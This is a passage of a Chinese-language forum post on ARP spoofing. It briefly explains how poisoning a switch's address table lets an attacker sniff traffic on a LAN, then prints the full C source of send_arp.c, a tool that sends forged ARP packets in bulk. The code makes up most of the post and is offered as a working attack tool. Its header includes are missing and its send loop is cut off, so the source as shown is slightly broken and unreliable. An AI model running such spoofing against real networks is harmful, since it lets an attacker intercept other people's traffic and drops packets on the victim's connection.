s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说,“这样其实就是一个竞争问题。”
好象ARP 以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响,因为他掉了一部分数据。
当然还有其他一些应用,需要其他技术的配合。
以下是send_arp.c的源程序  

CODE:
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. [You must be registered and logged in to see this link.].edu
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

cyjian
Spammer
Spammer

Posts : 211
Points : 25655
Reputation : 0
Join date : 2014-06-18

View user profile

Back to top Go down

Re: 【转载】【分享】ARP攻击

Post by Sponsored content


Sponsored content


Back to top Go down

View previous topic View next topic Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum